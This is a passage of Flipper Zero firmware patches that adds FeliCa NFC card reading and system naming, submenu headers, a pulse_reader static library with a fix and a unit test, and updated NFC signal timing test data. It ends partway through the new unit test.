felica_check_ic_type(uint8_t* PMm); FelicaICType felica_get_ic_type(uint8_t* PMm); + +uint8_t felica_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count); +uint8_t felica_lite_prepare_unencrypted_read( + uint8_t* dest, + const FelicaReader* reader, + bool is_read_only, + const uint8_t* block_list, + uint8_t block_count); +uint16_t felica_parse_unencrypted_read( + uint8_t* buf, + uint8_t len, + FelicaReader* reader, + uint8_t* out, + uint16_t out_len); + +uint8_t felica_prepare_unencrypted_write( + uint8_t* dest, + FelicaReader* reader, + const uint16_t* service_code_list, + uint8_t service_count, + const uint32_t* block_list, + uint8_t block_count, + const uint8_t* block_data); +uint8_t felica_lite_prepare_unencrypted_write( + uint8_t* dest, + const FelicaReader* reader, + const uint8_t* block_list, + uint8_t block_count, + const uint8_t* block_data); +bool felica_parse_unencrypted_write(uint8_t* buf, uint8_t len, FelicaReader* reader); + +bool felica_lite_can_read_without_mac(uint8_t* mc_r_restr, uint8_t block_number); + +void felica_define_normal_block(FelicaService* service, uint16_t number, uint8_t* data); + +bool felica_read_lite_system( + FuriHalNfcTxRxContext* tx_rx, + FelicaReader* reader, + FelicaData* data, + FelicaSystem* system); + bool felica_read_card( FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* polled_idm, - uint8_t* polled_pmm); \ No newline at end of file + uint8_t* polled_pmm); +void felica_clear(FelicaData* data); \ No newline at end of file diff --git a/lib/nfc/protocols/felica_util.c b/lib/nfc/protocols/felica_util.c new file mode 100644 index 000000000..a5198aa09 --- /dev/null +++ b/lib/nfc/protocols/felica_util.c @@ -0,0 +1,43 @@ +#include "./felica.h" +#include + +FuriString* felica_get_system_name(FelicaSystem* system) { + uint16_t code = system->code; + + const char* prefix; + if(code == SUICA_SYSTEM_CODE) { + prefix = "SuiCa"; + } else if(code == NDEF_SYSTEM_CODE) { + prefix = "NDEF"; + } else if(code == HCE_F_SYSTEM_CODE) { + prefix = "HCE-F"; + } else if(code == OCTOPUS_SYSTEM_CODE) { + prefix = "Octopus"; + } else if(code == EDY_SYSTEM_CODE) { + prefix = "Edy"; + } else if(code == PASPY_SYSTEM_CODE) { + prefix = "PASPY"; + } else if(code == BLACKBOARD_SYSTEM_CODE) { + prefix = "Blackboard"; + } else if(code == SAPICA_SYSTEM_CODE) { + prefix = "SAPICA"; + } else if(code == LITE_SYSTEM_CODE) { + prefix = "FeliCa Lite"; + } else if(code == RYUTO_SYSTEM_CODE) { + prefix = "Ryuto"; + } else if(code == OKICA_SYSTEM_CODE) { + prefix = "OKICA"; + } else if(code == SECURE_ID_SYSTEM_CODE) { + prefix = "FeliCa Secure ID"; + } else if(code == IRUCA_SYSTEM_CODE) { + prefix = "IruCa"; + } else if(code == COMMON_AREA_SYSTEM_CODE) { + prefix = "Common Area"; + } else if(code == PLUG_SYSTEM_CODE) { + prefix = "FeliCa Plug"; + } else { + return furi_string_alloc_printf("System %04X", code); + } + + return furi_string_alloc_printf("%s (%04X)", prefix, code); +} \ No newline at end of file diff --git a/lib/nfc/protocols/felica_util.h b/lib/nfc/protocols/felica_util.h new file mode 100644 index 000000000..4224668eb --- /dev/null +++ b/lib/nfc/protocols/felica_util.h @@ -0,0 +1,4 @@ +#include "./felica.h" + +FuriString* felica_get_system_name(FelicaSystem* system); +FuriString* felica_get_service_name(FelicaService* service); \ No newline at end of file From 5c26ddbc02ac77ad2c5c0c3373561bfe472be3e1 Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Sat, 10 Dec 2022 12:22:41 +1100 Subject: [PATCH 013/329] Bump API version --- firmware/targets/f7/api_symbols.csv | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 77b3182fa..08600c476 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,10.1,, +Version,+,10.2,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, From b53690a4d88136e032fcf90391d6a5494e2ec16a Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Sun, 11 Dec 2022 11:11:41 +1100 Subject: [PATCH 014/329] Add headers to submenu --- .../nfc/scenes/nfc_scene_felica_info_select.c | 51 +++++++++++++++---- 1 file changed, 41 insertions(+), 10 deletions(-) diff --git a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c index 9f068822e..30fbf71b2 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c @@ -21,8 +21,10 @@ void nfc_scene_felica_info_select_on_enter(void* context) { submenu_add_item(submenu, "[Actions]", 0, nfc_scene_felica_info_select_submenu_callback, nfc); uint8_t i = 1; if(state->selected_system == NULL) { + submenu_set_header(submenu, "Systems"); FelicaSystemList_it_t it; - for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { FelicaSystem* current_system = *FelicaSystemList_ref(it); FuriString* system_name = felica_get_system_name(current_system); submenu_add_item( @@ -33,21 +35,48 @@ void nfc_scene_felica_info_select_on_enter(void* context) { nfc); FuriStringStack_push_back(state->strings, system_name); } - } else if(FelicaAreaPath_size(state->selected_areas) == 0) { - FelicaArea* area_0 = &state->selected_system->root_area; + } else { + FelicaSystem* system = state->selected_system; + FuriString* header = furi_string_alloc_printf("%04X/", system->code); + + FelicaArea* area = &system->root_area; + if(FelicaAreaPath_size(state->selected_areas) > 0) { + FelicaAreaPath_it_t it; + for(FelicaAreaPath_it(it, state->selected_areas); !FelicaAreaPath_end_p(it); + FelicaAreaPath_next(it)) { + FelicaArea* ancestor = *FelicaAreaPath_ref(it); + furi_string_cat_printf(header, "%d/", ancestor->number); + } + area = *FelicaAreaPath_back(state->selected_areas); + } + furi_string_cat(header, "Areas"); + + submenu_set_header(submenu, furi_string_get_cstr(header)); + FuriStringStack_push_back(state->strings, header); + FelicaNodeList_it_t it; - for(FelicaNodeList_it(it, area_0->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { + for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); + FelicaNodeList_next(it)) { FelicaNode* node = *FelicaNodeList_ref(it); if(node->type == FelicaNodeTypeArea) { - FuriString* area_name = furi_string_alloc_printf("Area %d", node->ptr.area->number); + FuriString* area_name = + furi_string_alloc_printf("Area %d", node->ptr.area->number); submenu_add_item( - submenu, furi_string_get_cstr(area_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); + submenu, + furi_string_get_cstr(area_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); FuriStringStack_push_back(state->strings, area_name); } else { uint16_t service_code = node->ptr.service->number << 6; FuriString* service_name = furi_string_alloc_printf("Service %04X", service_code); submenu_add_item( - submenu, furi_string_get_cstr(service_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); + submenu, + furi_string_get_cstr(service_name), + i++, + nfc_scene_felica_info_select_submenu_callback, + nfc); FuriStringStack_push_back(state->strings, service_name); } } @@ -81,8 +110,9 @@ bool nfc_scene_felica_info_select_on_event(void* context, SceneManagerEvent even consumed = true; } else { FelicaNode* selected_node = NULL; - if (FelicaAreaPath_size(state->selected_areas) == 0) { - selected_node = *FelicaNodeList_get(state->selected_system->root_area.nodes, index); + if(FelicaAreaPath_size(state->selected_areas) == 0) { + selected_node = + *FelicaNodeList_get(state->selected_system->root_area.nodes, index); } else { FelicaArea* current_area = *FelicaAreaPath_back(state->selected_areas); selected_node = *FelicaNodeList_get(current_area->nodes, index); @@ -117,7 +147,8 @@ void nfc_scene_felica_info_select_on_exit(void* context) { // Clear view FelicaAreaPath_clear(nfc->felica_select.selected_areas); FuriStringStack_it_t it; - for(FuriStringStack_it(it, nfc->felica_select.strings); !FuriStringStack_end_p(it); FuriStringStack_next(it)) { + for(FuriStringStack_it(it, nfc->felica_select.strings); !FuriStringStack_end_p(it); + FuriStringStack_next(it)) { furi_string_free(*FuriStringStack_ref(it)); } submenu_reset(nfc->submenu); From 8847c48c5db8d2fbfedb850aa00ee3a803f883c6 Mon Sep 17 00:00:00 2001 From: g3gg0 Date: Thu, 15 Dec 2022 15:29:16 +0100 Subject: [PATCH 015/329] fix test cases to match (expected) implementation --- assets/unit_tests/nfc/nfc_nfca_signal_long.nfc | 2 +- assets/unit_tests/nfc/nfc_nfca_signal_short.nfc | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc b/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc index fae69cb5c..dd6a2ff8e 100644 --- a/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc +++ b/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc @@ -3,4 +3,4 @@ Version: 1 Data length: 18 Plain data: f1 99 41 43 a1 2f 23 01 de f3 c5 8d 91 4b 1e 50 4a c9 Timings length: 1304 -Timings: 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 640 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 0 +Timings: 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 640 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 diff --git a/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc b/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc index 3b7e2d9e9..f447fca26 100644 --- a/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc +++ b/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc @@ -3,4 +3,4 @@ Version: 1 Data length: 4 Plain data: 14 d8 a0 c9 Timings length: 296 -Timings: 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 36 37 37 37 37 36 37 0 +Timings: 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 36 37 37 37 37 36 37 37 From eddc1c41dfa8c5a9560337d1148a8f0f4c28c568 Mon Sep 17 00:00:00 2001 From: gornekich Date: Tue, 20 Dec 2022 18:49:29 +0400 Subject: [PATCH 016/329] pulse_reader: build as static library Signed-off-by: g3gg0.de --- firmware.scons | 1 + firmware/targets/f7/api_symbols.csv | 11 ++++++++++- lib/SConscript | 2 ++ lib/pulse_reader/SConscript | 19 +++++++++++++++++++ 4 files changed, 32 insertions(+), 1 deletion(-) create mode 100644 lib/pulse_reader/SConscript diff --git a/firmware.scons b/firmware.scons index d674bf160..b60da1924 100644 --- a/firmware.scons +++ b/firmware.scons @@ -219,6 +219,7 @@ fwelf = fwenv["FW_ELF"] = fwenv.Program( "mbedtls", "lfrfid", "flipper_application", + "pulse_reader", # 2nd round "flipperformat", "toolbox", diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 51d80037b..5ba3294d8 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,11.1,, +Version,+,11.2,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -158,6 +158,7 @@ Header,+,lib/one_wire/one_wire_host.h,, Header,+,lib/one_wire/one_wire_host_timing.h,, Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, +Header,+,lib/pulse_reader/pulse_reader.h,, Header,+,lib/subghz/blocks/const.h,, Header,+,lib/subghz/blocks/decoder.h,, Header,+,lib/subghz/blocks/encoder.h,, @@ -2095,6 +2096,14 @@ Function,+,protocol_dict_render_brief_data,void,"ProtocolDict*, FuriString*, siz Function,+,protocol_dict_render_data,void,"ProtocolDict*, FuriString*, size_t" Function,+,protocol_dict_set_data,void,"ProtocolDict*, size_t, const uint8_t*, size_t" Function,-,pselect,int,"int, fd_set*, fd_set*, fd_set*, const timespec*, const sigset_t*" +Function,+,pulse_reader_alloc,PulseReader*,"const GpioPin*, uint32_t" +Function,+,pulse_reader_free,void,PulseReader* +Function,+,pulse_reader_receive,uint32_t,"PulseReader*, int" +Function,+,pulse_reader_samples,uint32_t,PulseReader* +Function,+,pulse_reader_set_bittime,void,"PulseReader*, uint32_t" +Function,+,pulse_reader_set_timebase,void,"PulseReader*, PulseReaderUnit" +Function,+,pulse_reader_start,void,PulseReader* +Function,+,pulse_reader_stop,void,PulseReader* Function,-,putc,int,"int, FILE*" Function,-,putc_unlocked,int,"int, FILE*" Function,-,putchar,int,int diff --git a/lib/SConscript b/lib/SConscript index 21b68f161..13ef406dc 100644 --- a/lib/SConscript +++ b/lib/SConscript @@ -16,6 +16,7 @@ env.Append( Dir("u8g2"), Dir("update_util"), Dir("print"), + Dir("pulse_reader"), ], SDK_HEADERS=[ File("one_wire/one_wire_host_timing.h"), @@ -83,6 +84,7 @@ libs = env.BuildModules( "mbedtls", "subghz", "nfc", + "pulse_reader", "appframe", "misc", "lfrfid", diff --git a/lib/pulse_reader/SConscript b/lib/pulse_reader/SConscript new file mode 100644 index 000000000..416ad4a27 --- /dev/null +++ b/lib/pulse_reader/SConscript @@ -0,0 +1,19 @@ +Import("env") + +env.Append( + CPPPATH=[ + "#/lib/pulse_reader", + ], + SDK_HEADERS=[ + File("pulse_reader.h"), + ], +) + +libenv = env.Clone(FW_LIB_NAME="pulse_reader") +libenv.ApplyLibFlags() + +sources = libenv.GlobRecursive("*.c*") + +lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) +libenv.Install("${LIB_DIST_DIR}", lib) +Return("lib") \ No newline at end of file From 70faa47dee04949c5388ee5a2bfcb0aca217abcc Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 01:01:16 +0100 Subject: [PATCH 017/329] fix starting level detection in pulse_reader --- lib/pulse_reader/pulse_reader.c | 2 +- lib/pulse_reader/pulse_reader.h | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 20f993844..64fde7fc9 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -137,9 +137,9 @@ void pulse_reader_start(PulseReader* signal) { /* capture current timer */ signal->pos = 0; - signal->start_level = furi_hal_gpio_read(signal->gpio); signal->timer_value = TIM2->CNT; signal->gpio_mask = signal->gpio->pin; + signal->gpio_value = signal->gpio->port->IDR & signal->gpio_mask; /* now set up DMA with these settings */ LL_DMA_Init(DMA1, signal->dma_channel, &signal->dma_config_timer); diff --git a/lib/pulse_reader/pulse_reader.h b/lib/pulse_reader/pulse_reader.h index 564bf1063..b4e6bca57 100644 --- a/lib/pulse_reader/pulse_reader.h +++ b/lib/pulse_reader/pulse_reader.h @@ -29,7 +29,6 @@ typedef enum { } PulseReaderUnit; typedef struct { - bool start_level; uint32_t* timer_buffer; uint32_t* gpio_buffer; uint32_t size; @@ -65,7 +64,8 @@ void pulse_reader_free(PulseReader* signal); /** Start signal capturing * - * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values + * Initializes DMA1, TIM2 and DMAMUX_REQ_GEN_0 to automatically capture timer values. + * Ensure that interrupts are always enabled, as the used EXTI line is handled as one. * * @param[in] signal previously allocated PulseReader object. */ From 868e8a0d1df0111e72a4477d5df21e2225482f50 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 01:06:22 +0100 Subject: [PATCH 018/329] added unit test for pulse_reader --- applications/debug/unit_tests/nfc/nfc_test.c | 150 +++++++++++++++++++ 1 file changed, 150 insertions(+) diff --git a/applications/debug/unit_tests/nfc/nfc_test.c b/applications/debug/unit_tests/nfc/nfc_test.c index e9e7b35f6..20188f61a 100644 --- a/applications/debug/unit_tests/nfc/nfc_test.c +++ b/applications/debug/unit_tests/nfc/nfc_test.c @@ -1,10 +1,12 @@ #include #include +#include #include #include #include #include #include +#include #include #include @@ -179,6 +181,153 @@ MU_TEST(nfc_digital_signal_test) { "NFC long digital signal test failed\r\n"); } +static bool nfc_test_pulse_reader_toggle( + uint32_t usec_low, + uint32_t usec_high, + uint32_t period_count, + uint32_t tolerance) { + furi_assert(nfc_test); + + bool success = false; + uint32_t pulses = 0; + const GpioPin* gpio_in = &gpio_ext_pa6; + const GpioPin* gpio_out = &gpio_ext_pa7; + PulseReader* reader = NULL; + + do { + reader = pulse_reader_alloc(gpio_in, 512); + + if(!reader) { + FURI_LOG_E(TAG, "failed to allocate pulse reader"); + break; + } + + /* use TIM1 to create a specific number of pulses with defined duty cycle + but first set the IO to high, so the low/high pulse can get detected */ + furi_hal_gpio_init(gpio_out, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(gpio_out, true); + + LL_TIM_DeInit(TIM1); + + LL_TIM_SetCounterMode(TIM1, LL_TIM_COUNTERMODE_UP); + LL_TIM_SetRepetitionCounter(TIM1, 0); + LL_TIM_SetClockDivision(TIM1, LL_TIM_CLOCKDIVISION_DIV1); + 